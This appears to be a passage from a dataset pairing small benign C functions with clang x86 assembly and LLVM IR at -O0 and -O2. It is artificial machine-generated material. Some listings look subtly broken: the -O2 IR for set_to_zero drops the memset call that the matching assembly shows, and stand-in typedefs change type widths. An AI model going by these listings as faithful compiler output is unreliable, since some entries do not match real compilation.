xor    %esi,%esi
call   1030 <portctl@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [8 x i8] c"aux4off\00"
define i32 @aux4off() {
%1 = alloca i32
%2 = alloca i8
store i32 0, i32* %1
store i8 32, i8* %2
%3 = load i8, i8* %2
%4 = load i32, i32* %1
%5 = call i32 @portctl(i8 signext %3, i32 %4, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [8 x i8] c"aux4off\00"
define i32 @aux4off() {
%1 = tail call i32 @portctl(i8 signext 32, i32 0, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, ...);
int main() {
  printf("Course: EG1302A - Spring 2014\n");
  printf("Name:Ziad Albazei\n");
  printf("Date Created: %d/%d/%d\n", 1, 28, 2014);
  printf("Assignment: Lecture 05\n");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xeda(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xeeb(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xef0(%rip),%rdi
mov    $0x1,%esi
mov    $0x1c,%edx
mov    $0x7de,%ecx
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xeeb(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xef0(%rip),%rdi
call   1030 <puts@plt>
lea    0xf02(%rip),%rdi
call   1030 <puts@plt>
lea    0xec0(%rip),%rdi
mov    $0x1,%esi
mov    $0x1c,%edx
mov    $0x7de,%ecx
xor    %eax,%eax
call   1040 <printf@plt>
lea    0xeeb(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [31 x i8] c"Course: EG1302A - Spring 2014\0A\00"
@.str.1 = [19 x i8] c"Name:Ziad Albazei\0A\00"
@.str.2 = [24 x i8] c"Date Created: %d/%d/%d\0A\00"
@.str.3 = [24 x i8] c"Assignment: Lecture 05\0A\00"
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str, i64 0, i64 0))
%3 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.1, i64 0, i64 0))
%4 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0), i32 1, i32 28, i32 2014)
%5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.3, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str.2 = [24 x i8] c"Date Created: %d/%d/%d\0A\00"
@str = [30 x i8] c"Course: EG1302A - Spring 2014\00"
@str.4 = [18 x i8] c"Name:Ziad Albazei\00"
@str.5 = [23 x i8] c"Assignment: Lecture 05\00"
define i32 @main() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @str, i64 0, i64 0))
%2 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @str.4, i64 0, i64 0))
%3 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0), i32 1, i32 28, i32 2014)
%4 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str.5, i64 0, i64 0))
ret i32 0
}
int Max(int x, int y) {
  if (x > y)
    return x;
  else
    return y;
}


x86 assembly (clang, -O0):
<Max>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    -0x8(%rbp),%eax
cmp    -0xc(%rbp),%eax
jle    1121 <Max+0x21>
mov    -0x8(%rbp),%eax
mov    %eax,-0x4(%rbp)
jmp    1127 <Max+0x27>
mov    -0xc(%rbp),%eax
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<Max>:
mov    %esi,%eax
cmp    %esi,%edi
cmovg  %edi,%eax
ret

LLVM IR (-O0):
define i32 @Max(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
store i32 %0, i32* %4
store i32 %1, i32* %5
%6 = load i32, i32* %4
%7 = load i32, i32* %5
%8 = icmp sgt i32 %6, %7
br i1 %8, label %9, label %11
9: ; preds = %2
%10 = load i32, i32* %4
store i32 %10, i32* %3
br label %13
11: ; preds = %2
%12 = load i32, i32* %5
store i32 %12, i32* %3
br label %13
13: ; preds = %11, %9
%14 = load i32, i32* %3
ret i32 %14
}

LLVM IR (-O2):
define i32 @Max(i32 %0, i32 %1) {
%3 = icmp sgt i32 %0, %1
%4 = select i1 %3, i32 %0, i32 %1
ret i32 %4
}
/* Type definitions */
struct TY_CTsubstituent {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ TY_PrintCTsubst(struct TY_CTsubstituent *);
void TY_ListCTsubst(struct TY_CTsubstituent *sub) { TY_PrintCTsubst(sub); }


x86 assembly (clang, -O0):
<TY_ListCTsubst>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <TY_PrintCTsubst@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<TY_ListCTsubst>:
jmp    1030 <TY_PrintCTsubst@plt>

LLVM IR (-O0):
%struct.TY_CTsubstituent = type { i32 }
define void @TY_ListCTsubst(%struct.TY_CTsubstituent* %0) {
%2 = alloca %struct.TY_CTsubstituent*
store %struct.TY_CTsubstituent* %0, %struct.TY_CTsubstituent** %2
%3 = load %struct.TY_CTsubstituent*, %struct.TY_CTsubstituent** %2
%4 = call i32 @TY_PrintCTsubst(%struct.TY_CTsubstituent* %3)
ret void
}

LLVM IR (-O2):
%struct.TY_CTsubstituent = type { i32 }
define void @TY_ListCTsubst(%struct.TY_CTsubstituent* %0) {
%2 = tail call i32 @TY_PrintCTsubst(%struct.TY_CTsubstituent* %0)
ret void
}
void set_to_zero(int *a, int N) {
  int k = 0;
  while (k < N) {
    a[k] = 0;
    k++;
  }
}


x86 assembly (clang, -O0):
<set_to_zero>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
movl   $0x0,-0x10(%rbp)
mov    -0x10(%rbp),%eax
cmp    -0xc(%rbp),%eax
jge    113b <set_to_zero+0x3b>
mov    -0x8(%rbp),%rax
movslq -0x10(%rbp),%rcx
movl   $0x0,(%rax,%rcx,4)
mov    -0x10(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x10(%rbp)
jmp    1112 <set_to_zero+0x12>
pop    %rbp
ret

x86 assembly (clang, -O2):
<set_to_zero>:
test   %esi,%esi
jle    1126 <set_to_zero+0x16>
push   %rax
mov    %esi,%edx
shl    $0x2,%rdx
xor    %esi,%esi
call   1030 <memset@plt>
add    $0x8,%rsp
ret

LLVM IR (-O0):
define void @set_to_zero(i32* %0, i32 %1) {
%3 = alloca i32*
%4 = alloca i32
%5 = alloca i32
store i32* %0, i32** %3
store i32 %1, i32* %4
store i32 0, i32* %5
br label %6
6: ; preds = %10, %2
%7 = load i32, i32* %5
%8 = load i32, i32* %4
%9 = icmp slt i32 %7, %8
br i1 %9, label %10, label %17
10: ; preds = %6
%11 = load i32*, i32** %3
%12 = load i32, i32* %5
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds i32, i32* %11, i64 %13
store i32 0, i32* %14
%15 = load i32, i32* %5
%16 = add nsw i32 %15, 1
store i32 %16, i32* %5
br label %6
17: ; preds = %6
ret void
}

LLVM IR (-O2):
define void @set_to_zero(i32* nocapture writeonly %0, i32 %1) {
%3 = icmp sgt i32 %1, 0
br i1 %3, label %4, label %8
4: ; preds = %2
%5 = bitcast i32* %0 to i8*
%6 = zext i32 %1 to i64
%7 = shl nuw nsw i64 %6, 2
br label %8
8: ; preds = %4, %2
ret void
}
/* Variables and functions */
void GLimp_LogComment(char *comment) {}


x86 assembly (clang, -O0):
<GLimp_LogComment>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<GLimp_LogComment>:
ret

LLVM IR (-O0):
define void @GLimp_LogComment(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
ret void
}

LLVM IR (-O2):
define void @GLimp_LogComment(i8* nocapture %0) {
ret void
}
__attribute__((no, noclone, used)) void _ITM_beginTransaction() { asm(""); }


x86 assembly (clang, -O0):
<_ITM_beginTransaction>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<_ITM_beginTransaction>:
ret

LLVM IR (-O0):
@llvm.compiler.used = appending global [1 x i8*] [i8* bitcast (void ()* @_ITM_beginTransaction to i8*)], section "llvm.metadata"
define void @_ITM_beginTransaction() {
ret void
}

LLVM IR (-O2):
@llvm.compiler.used = appending global [1 x i8*] [i8* bitcast (void ()* @_ITM_beginTransaction to i8*)], section "llvm.metadata"
define void @_ITM_beginTransaction() {
tail call void asm sideeffect "", "~{dirflag},~{fpsr},~{flags}"()
ret void
}
int test_imm_48uint16_mem(unsigned short *val) {
  return ((*val) & (-0x48 << 0)) ? -20 : -40;
}


x86 assembly (clang, -O0):
<test_imm_48uint16_mem>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
movzwl (%rax),%edx
and    $0xffffffb8,%edx
mov    $0xffffffd8,%eax
mov    $0xffffffec,%ecx
cmp    $0x0,%edx
cmovne %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_imm_48uint16_mem>:
movzwl (%rdi),%eax
test   $0xffb8,%eax
mov    $0xffffffd8,%ecx
mov    $0xffffffec,%eax
cmove  %ecx,%eax
ret

LLVM IR (-O0):
define i32 @test_imm_48uint16_mem(i16* %0) {
%2 = alloca i16*
store i16* %0, i16** %2
%3 = load i16*, i16** %2
%4 = load i16, i16* %3
%5 = zext i16 %4 to i32
%6 = and i32 %5, -72
%7 = icmp ne i32 %6, 0
%8 = zext i1 %7 to i64
%9 = select i1 %7, i32 -20, i32 -40
ret i32 %9
}

LLVM IR (-O2):
define i32 @test_imm_48uint16_mem(i16* nocapture %0) {
%2 = load i16, i16* %0
%3 = and i16 %2, -72
%4 = icmp eq i16 %3, 0
%5 = select i1 %4, i32 -40, i32 -20
ret i32 %5
}
/* Type definitions */
typedef int uint16_t;

/* Variables and functions */
void write_16_be(uint16_t value, unsigned char bytes[2]) {
  for (int i = 1; i >= 0; i--, value >>= 8)
    bytes[i] = value & 0xff;
}


x86 assembly (clang, -O0):
<write_16_be>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x1,-0x14(%rbp)
cmpl   $0x0,-0x14(%rbp)
jl     1148 <write_16_be+0x48>
mov    -0x4(%rbp),%eax
and    $0xff,%eax
mov    %al,%dl
mov    -0x10(%rbp),%rax
movslq -0x14(%rbp),%rcx
mov    %dl,(%rax,%rcx,1)
mov    -0x14(%rbp),%eax
add    $0xffffffff,%eax
mov    %eax,-0x14(%rbp)
mov    -0x4(%rbp),%eax
sar    $0x8,%eax
mov    %eax,-0x4(%rbp)
jmp    1112 <write_16_be+0x12>
pop    %rbp
ret

x86 assembly (clang, -O2):
<write_16_be>:
rol    $0x8,%di
mov    %di,(%rsi)
ret

LLVM IR (-O0):
define void @write_16_be(i32 %0, i8* %1) {
%3 = alloca i32
%4 = alloca i8*
%5 = alloca i32
store i32 %0, i32* %3
store i8* %1, i8** %4
store i32 1, i32* %5
br label %6
6: ; preds = %17, %2
%7 = load i32, i32* %5
%8 = icmp sge i32 %7, 0
br i1 %8, label %9, label %22
9: ; preds = %6
%10 = load i32, i32* %3
%11 = and i32 %10, 255
%12 = trunc i32 %11 to i8
%13 = load i8*, i8** %4
%14 = load i32, i32* %5
%15 = sext i32 %14 to i64
%16 = getelementptr inbounds i8, i8* %13, i64 %15
store i8 %12, i8* %16
br label %17
17: ; preds = %9
%18 = load i32, i32* %5
%19 = add nsw i32 %18, -1
store i32 %19, i32* %5
%20 = load i32, i32* %3
%21 = ashr i32 %20, 8
store i32 %21, i32* %3
br label %6
22: ; preds = %6
ret void
}

LLVM IR (-O2):
define void @write_16_be(i32 %0, i8* nocapture writeonly %1) {
%3 = trunc i32 %0 to i8
%4 = getelementptr inbounds i8, i8* %1, i64 1
store i8 %3, i8* %4
%5 = lshr i32 %0, 8
%6 = trunc i32 %5 to i8
store i8 %6, i8* %1
ret void
}
char *str_save(s)
char const *s;
{ return strcpy(((char *)testalloc(sizeof(char) * (strlen(s) + 1))), s); }


x86 assembly (clang, -O0):
<str_save>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1040 <strlen@plt>
mov    %rax,%rdi
add    $0x1,%rdi
shl    $0x0,%rdi
mov    $0x0,%al
call   1050 <testalloc@plt>
movslq %eax,%rdi
mov    -0x8(%rbp),%rsi
call   1030 <strcpy@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<str_save>:
push   %rbx
mov    %rdi,%rbx
call   1040 <strlen@plt>
lea    0x1(%rax),%rdi
xor    %eax,%eax
call   1050 <testalloc@plt>
movslq %eax,%rdi
mov    %rbx,%rsi
pop    %rbx
jmp    1030 <strcpy@plt>

LLVM IR (-O0):
define i8* @str_save(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = call i64 @strlen(i8* %3)
%5 = add i64 %4, 1
%6 = mul i64 1, %5
%7 = call i32 (i64, ...) bitcast (i32 (...)* @testalloc to i32 (i64, ...)*)(i64 %6)
%8 = sext i32 %7 to i64
%9 = inttoptr i64 %8 to i8*
%10 = load i8*, i8** %2
%11 = call i8* @strcpy(i8* %9, i8* %10)
ret i8* %11
}

LLVM IR (-O2):
define i8* @str_save(i8* nocapture %0) {
%2 = tail call i64 @strlen(i8* dereferenceable(1) %0)
%3 = add i64 %2, 1
%4 = tail call i32 (i64, ...) bitcast (i32 (...)* @testalloc to i32 (i64, ...)*)(i64 %3)
%5 = sext i32 %4 to i64
%6 = inttoptr i64 %5 to i8*
%7 = tail call i8* @strcpy(i8* dereferenceable(1) %6, i8* dereferenceable(1) %0)
ret i8* %6
}
/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
scalar_t__ ftell(int /*<<< orphan*/ *);
int /*<<< orphan*/ printf(char *, int);
void checkPos(FILE *fin) {
  printf("DEBUG: ftell(fin) = 0x%X\n", (int)ftell(fin));
}


x86 assembly (clang, -O0):
<checkPos>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1040 <ftell@plt>
mov    %eax,%esi
lea    0xec2(%rip),%rdi
call   1030 <printf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<checkPos>:
push   %rax
call   1040 <ftell@plt>
lea    0xed3(%rip),%rdi
mov    %eax,%esi
pop    %rax
jmp    1030 <printf@plt>

LLVM IR (-O0):
@.str = [26 x i8] c"DEBUG: ftell(fin) = 0x%X\0A\00"
define void @checkPos(i32* %0) {
%2 = alloca i32*
store i32* %0, i32** %2
%3 = load i32*, i32** %2
%4 = call i64 @ftell(i32* %3)
%5 = trunc i64 %4 to i32
%6 = call i32 @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 %5)
ret void
}

LLVM IR (-O2):
@.str = [26 x i8] c"DEBUG: ftell(fin) = 0x%X\0A\00"
define void @checkPos(i32* nocapture %0) {
%2 = tail call i64 @ftell(i32* %0)
%3 = trunc i64 %2 to i32
%4 = tail call i32 @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 %3)
ret void
}
int psxdev_filename_unix_to_psx(char *filename) {
  int i = 0;
  for (i = 0; filename[i] != 0; i++) {
    if (filename[i] == '\\')
      filename[i] = '/';
  }
  return i;
}


x86 assembly (clang, -O0):
<psxdev_filename_unix_to_psx>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
movl   $0x0,-0xc(%rbp)
movl   $0x0,-0xc(%rbp)
mov    -0x8(%rbp),%rax
movslq -0xc(%rbp),%rcx
movsbl (%rax,%rcx,1),%eax
cmp    $0x0,%eax
je     115f <psxdev_filename_unix_to_psx+0x5f>
mov    -0x8(%rbp),%rax
movslq -0xc(%rbp),%rcx
movsbl (%rax,%rcx,1),%eax
cmp    $0x5c,%eax
jne    114c <psxdev_filename_unix_to_psx+0x4c>
mov    -0x8(%rbp),%rax
movslq -0xc(%rbp),%rcx
movb   $0x2f,(%rax,%rcx,1)
jmp    1151 <psxdev_filename_unix_to_psx+0x51>
mov    -0xc(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0xc(%rbp)
jmp    1116 <psxdev_filename_unix_to_psx+0x16>
mov    -0xc(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<psxdev_filename_unix_to_psx>:
xor    %eax,%eax
jmp    1118 <psxdev_filename_unix_to_psx+0x18>
cs nopw 0x0(%rax,%rax,1)
xchg   %ax,%ax
movb   $0x2f,(%rdi,%rax,1)
add    $0x1,%rax
movzbl (%rdi,%rax,1),%ecx
cmp    $0x5c,%cl
je     1110 <psxdev_filename_unix_to_psx+0x10>
test   %cl,%cl
jne    1114 <psxdev_filename_unix_to_psx+0x14>
ret

LLVM IR (-O0):
define i32 @psxdev_filename_unix_to_psx(i8* %0) {
%2 = alloca i8*
%3 = alloca i32
store i8* %0, i8** %2
store i32 0, i32* %3
store i32 0, i32* %3
br label %4
4: ; preds = %26, %1
%5 = load i8*, i8** %2
%6 = load i32, i32* %3
%7 = sext i32 %6 to i64
%8 = getelementptr inbounds i8, i8* %5, i64 %7
%9 = load i8, i8* %8
%10 = sext i8 %9 to i32
%11 = icmp ne i32 %10, 0
br i1 %11, label %12, label %29
12: ; preds = %4
%13 = load i8*, i8** %2
%14 = load i32, i32* %3
%15 = sext i32 %14 to i64
%16 = getelementptr inbounds i8, i8* %13, i64 %15
%17 = load i8, i8* %16
%18 = sext i8 %17 to i32
%19 = icmp eq i32 %18, 92
br i1 %19, label %20, label %25
20: ; preds = %12
%21 = load i8*, i8** %2
%22 = load i32, i32* %3
%23 = sext i32 %22 to i64
%24 = getelementptr inbounds i8, i8* %21, i64 %23
store i8 47, i8* %24
br label %25
25: ; preds = %20, %12
br label %26
26: ; preds = %25
%27 = load i32, i32* %3
%28 = add nsw i32 %27, 1
store i32 %28, i32* %3
br label %4
29: ; preds = %4
%30 = load i32, i32* %3
ret i32 %30
}

LLVM IR (-O2):
define i32 @psxdev_filename_unix_to_psx(i8* nocapture %0) {
br label %2
2: ; preds = %7, %1
%3 = phi i64 [ %8, %7 ], [ 0, %1 ]
%4 = getelementptr inbounds i8, i8* %0, i64 %3
%5 = load i8, i8* %4
switch i8 %5, label %7 [
i8 0, label %9
i8 92, label %6
]
6: ; preds = %2
store i8 47, i8* %4
br label %7
7: ; preds = %2, %6
%8 = add nuw i64 %3, 1
br label %2
9: ; preds = %2
%10 = trunc i64 %3 to i32
ret i32 %10
}
void ap9x_pci_setup_wmac_led_name(unsigned wmac, const char *led_name) {}


x86 assembly (clang, -O0):
<ap9x_pci_setup_wmac_led_name>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<ap9x_pci_setup_wmac_led_name>:
ret

LLVM IR (-O0):
define void @ap9x_pci_setup_wmac_led_name(i32 %0, i8* %1) {
%3 = alloca i32
%4 = alloca i8*
store i32 %0, i32* %3
store i8* %1, i8** %4
ret void
}

LLVM IR (-O2):
define void @ap9x_pci_setup_wmac_led_name(i32 %0, i8* nocapture %1) {
ret void
}
/* Type definitions */
typedef int int64_t;

/* Variables and functions */
int64_t c_ret_i64() { return -1; }


x86 assembly (clang, -O0):
<c_ret_i64>:
push   %rbp
mov    %rsp,%rbp
mov    $0xffffffff,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<c_ret_i64>:
mov    $0xffffffff,%eax
ret

LLVM IR (-O0):
define i32 @c_ret_i64() {
ret i32 -1
}

LLVM IR (-O2):
define i32 @c_ret_i64() {
ret i32 -1
}
/* Variables and functions */
scalar_t__ is_bigendian();
short shortVal(short s) {
  unsigned char c1, c2;
  if (is_bigendian()) {
    c1 = s & 255;
    c2 = (s >> 8) & 255;
    return (c1 << 8) + c2;
  } else {
    return s;
  }
}


x86 assembly (clang, -O0):
<shortVal>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %di,%ax
mov    %ax,-0x4(%rbp)
mov    $0x0,%al
call   1030 <is_bigendian@plt>
cmp    $0x0,%rax
je     1161 <shortVal+0x51>
movswl -0x4(%rbp),%eax
and    $0xff,%eax
mov    %al,-0x5(%rbp)
movswl -0x4(%rbp),%eax
sar    $0x8,%eax
and    $0xff,%eax
mov    %al,-0x6(%rbp)
movzbl -0x5(%rbp),%eax
shl    $0x8,%eax
movzbl -0x6(%rbp),%ecx
add    %ecx,%eax
mov    %ax,-0x2(%rbp)
jmp    1169 <shortVal+0x59>
mov    -0x4(%rbp),%ax
mov    %ax,-0x2(%rbp)
movswl -0x2(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<shortVal>:
push   %rbx
mov    %edi,%ebx
xor    %eax,%eax
call   1030 <is_bigendian@plt>
mov    %ebx,%ecx
rol    $0x8,%cx
test   %rax,%rax
cmove  %ebx,%ecx
mov    %ecx,%eax
pop    %rbx
ret

LLVM IR (-O0):
define signext i16 @shortVal(i16 signext %0) {
%2 = alloca i16
%3 = alloca i16
%4 = alloca i8
%5 = alloca i8
store i16 %0, i16* %3
%6 = call i64 (...) @is_bigendian()
%7 = icmp ne i64 %6, 0
br i1 %7, label %8, label %25
8: ; preds = %1
%9 = load i16, i16* %3
%10 = sext i16 %9 to i32
%11 = and i32 %10, 255
%12 = trunc i32 %11 to i8
store i8 %12, i8* %4
%13 = load i16, i16* %3
%14 = sext i16 %13 to i32
%15 = ashr i32 %14, 8
%16 = and i32 %15, 255
%17 = trunc i32 %16 to i8
store i8 %17, i8* %5
%18 = load i8, i8* %4
%19 = zext i8 %18 to i32
%20 = shl i32 %19, 8
%21 = load i8, i8* %5
%22 = zext i8 %21 to i32
%23 = add nsw i32 %20, %22
%24 = trunc i32 %23 to i16
store i16 %24, i16* %2
br label %27
25: ; preds = %1
%26 = load i16, i16* %3
store i16 %26, i16* %2
br label %27
27: ; preds = %25, %8
%28 = load i16, i16* %2
ret i16 %28
}

LLVM IR (-O2):
define signext i16 @shortVal(i16 signext %0) {
%2 = tail call i64 (...) @is_bigendian()
%3 = icmp eq i64 %2, 0
%4 = tail call i16 @llvm.bswap.i16(i16 %0)
%5 = select i1 %3, i16 %0, i16 %4
ret i16 %5
}
void INT_Excep_PERIA_INTA218(void) {}


x86 assembly (clang, -O0):
<INT_Excep_PERIA_INTA218>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<INT_Excep_PERIA_INTA218>:
ret

LLVM IR (-O0):
define void @INT_Excep_PERIA_INTA218() {
ret void
}

LLVM IR (-O2):
define void @INT_Excep_PERIA_INTA218() {
ret void
}
char *get_data() {
  static char data[10];
  return data;
}


x86 assembly (clang, -O0):
<get_data>:
push   %rbp
mov    %rsp,%rbp
lea    0x2f16(%rip),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<get_data>:
lea    0x2f1a(%rip),%rax
ret

LLVM IR (-O0):
@get_data.data = internal global [10 x i8] zeroinitializer
define i8* @get_data() {
ret i8* getelementptr inbounds ([10 x i8], [10 x i8]* @get_data.data, i64 0, i64 0)
}

LLVM IR (-O2):
@get_data.data = internal global [10 x i8] zeroinitializer
define i8* @get_data() {
ret i8* getelementptr inbounds ([10 x i8], [10 x i8]* @get_data.data, i64 0, i64 0)
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
void test_print_xyz_monolayer() { printf("Not implemented yet...\n"); }


x86 assembly (clang, -O0):
<test_print_xyz_monolayer>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <printf@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_print_xyz_monolayer>:
lea    0xee9(%rip),%rdi
jmp    1030 <puts@plt>

LLVM IR (-O0):
@.str = [24 x i8] c"Not implemented yet...\0A\00"
define void @test_print_xyz_monolayer() {
%1 = call i32 @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@str = [23 x i8] c"Not implemented yet...\00"
define void @test_print_xyz_monolayer() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str, i64 0, i64 0))
ret void
}
int mdp4_dsi_video_off(struct platform_device *pdev) { return 0; }


x86 assembly (clang, -O0):
<mdp4_dsi_video_off>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<mdp4_dsi_video_off>:
xor    %eax,%eax
ret

LLVM IR (-O0):
%struct.platform_device = type opaque
define i32 @mdp4_dsi_video_off(%struct.platform_device* %0) {
%2 = alloca %struct.platform_device*
store %struct.platform_device* %0, %struct.platform_device** %2
ret i32 0
}

LLVM IR (-O2):
%struct.platform_device = type opaque
define i32 @mdp4_dsi_video_off(%struct.platform_device* nocapture readnone %0) {
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, int);
void _color(int c) { printf("\x1B[%im", c); }


x86 assembly (clang, -O0):
<_color>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%esi
lea    0xedb(%rip),%rdi
call   1030 <printf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<_color>:
mov    %edi,%esi
lea    0xee7(%rip),%rdi
jmp    1030 <printf@plt>

LLVM IR (-O0):
@.str = [6 x i8] c"\1B[%im\00"
define void @_color(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0), i32 %3)
ret void
}

LLVM IR (-O2):
@.str = [6 x i8] c"\1B[%im\00"
define void @_color(i32 %0) {
%2 = tail call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0), i32 %0)
ret void
}